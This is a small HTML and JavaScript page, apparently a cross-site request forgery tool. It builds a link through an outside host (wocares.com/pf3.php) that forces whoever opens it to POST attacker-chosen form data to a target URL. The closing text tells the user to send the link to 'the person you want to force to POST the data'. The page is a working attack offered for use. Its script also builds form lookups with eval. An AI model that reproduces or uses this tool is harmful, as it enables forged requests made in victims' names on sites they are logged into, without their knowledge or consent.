submit the following post data:
<form method=GET name="pf">

<div id="post0">
 <table><tr><td>POST variable #1:</td><td>input name <input type="text" name="name0"> = <input name="post0" type="text" size=50> post data</td></tr></table>
 <div id="post1">
 </div>
</div>
<script>
var inx = 1;
function addvar(i) {
 var currdiv = 'post'+i;
 document.getElementById(currdiv).innerHTML += "<table><tr id=\"postvar0\"><td>POST variable #"+(i+1)+":</td><td>input name <input type=\"text\" name=\"name"+i+"\"> = <input type=\"text\" name=\"post"+i+"\" size=50> post data</td></tr></table><div id=\"post"+(i+1)+"\"></div>";
 document.getElementById('hiddeni').value++;
}
</script>
<table>
<tr><td colspan="2"><input type=submit onclick="addvar(inx);inx++;return false;" value="add post variable fields"></td></tr>
<tr><td>to this URL:</td><td><input type=text name=url>(target)</td></tr>
<tr><td colspan="2"><input type=submit value="GO!"></td></tr>
</table>
<input type="hidden" value="1" name="i" id="hiddeni">
</form><br>
...or copy this link...<br><input type=text id="link" value="" size=80><br>
<script>
function gen2() {
var i = document.getElementById('hiddeni').value;
var getdata = "";
for(var x = 0; x < i;x++) {
 getdata += "&name"+x+"="+escape(eval("document.forms[0].name"+x+".value"))+"&post"+x+"="+escape(eval("document.forms[0].post"+x+".value"));
}

document.getElementById("link").value = "http://wocares.com/pf3.php?i="+i+"&url="+escape(document.forms[0].url.value)+getdata;
}
</script>
(<input type=submit onclick="gen2();" value="generate">)<br>
...and send it to the person you want to force to POST the data to an url.<br>
They need to have javascript activated tho!